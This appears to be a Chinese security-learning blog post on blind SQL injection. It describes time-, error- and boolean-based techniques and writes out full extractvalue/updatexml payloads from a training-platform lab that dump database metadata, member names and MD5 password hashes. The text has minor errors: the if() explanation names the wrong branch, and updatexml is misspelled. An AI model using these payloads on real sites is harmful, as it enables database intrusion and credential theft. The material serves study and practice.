网安学习Day10

sql注入-盲注

就是在无回显的情况下,进行的注入便称之为盲注。盲注一般分为

基于时间的SQL盲注-延时判断

基于报错的SQL盲注-报错回显

基于布尔的SQL盲注-逻辑判断

延时注入

常用的函数:

if()函数:

一般形式为:if(表达式1,表达式2,表达式3),如果表达式1成立,则执行表达式2,如果不成立,那就执行表达式2。

left()函数:

一般形式为:left(string,length);它的功能就是截取指定字符串string左边长度length的字符。

length()函数:

一般形式为:length(string);就是返回字符串string的长度

ascii()函数:

一般形式为:ascii(string);功能:返回字符串最左边字符的ASCII码值

sleep()函数:

一般形式为:sleep(n);功能为:延迟n秒后返回结果。

报错回显

以下列举两种常用的方法:

1. extractvalue

2.updatevml

下面通过墨者平台的SQL报错注入实验完成练习。

首先就是查询数据库,用户,数据库版本以及操作系统:

id=' and (select extractvalue(1,concat(0x7e,(select database()))))--+

id=' and (select extractvalue(1,concat(0x7e,(select user()))))--+
id=' and (select extractvalue(1,concat(0x7e,(select version()))))--+
id=' and (select extractvalue(1,concat(0x7e,(select @@version_compile_os))))--+

 

 

 

接下来就是查询数据库中的表的信息:

id=' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+

 

 我们得到了member和notice表,之后就是在这两个表中查询列名信息:

id=' and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'))))--+

之后就是查询数据信息;当然updatevml方法也是可以的,语句分别如下所示:

id=1' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)--+
id=1' and updatexml(1,(concat(0x7e,(select user()),0x7e)),1)--+
id=1' and updatexml(1,(concat(0x7e,(select version()),0x7e)),1)--+
id=1' and updatexml(1,(concat(0x7e,(select @@version_compile_os),0x7e)),1)--+

id=1' and updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)),1)--+

id=1' and updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'),0x7e)),1)--+

id=1' and updatexml(1,(concat(0x7e,(select group_concat(name) from member),0x7e)),1)--+

id=1' and updatexml(1,(concat(0x7e,(select password from member limit 0,1),0x7e)),1)--+

 这里最后得到的MD5加密的密码只有31位,显然少了一位,而且我们最后面的“~”也没了,所以我们通过substr函数查看第32位加密的字符。

id=1' and updatexml(1,(concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e)),1)--+

 

 得到的账号密码并不正确,之后我们继续查找下一个账号密码:

id=1' and updatexml(1,(concat(0x7e,(select password from member limit 1,1),0x7e)),1)--+
id=1' and updatexml(1,(concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e)),1)--+

布尔盲注

regexp,like,ascii,left,ord,mid;

mid()函数的用法为:mid(ColumnName, Start , Length);start是从1开始的,length是可选项,如果没有提供任何值,则mid函数将返回从start开始剩下的所有的字符。

ord() 函数返回字符串第一个字符的ASCII值。

布尔盲注如同上次的access注入的过程,通过判断页面是否正常,便能够判断查询语句的正确性。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值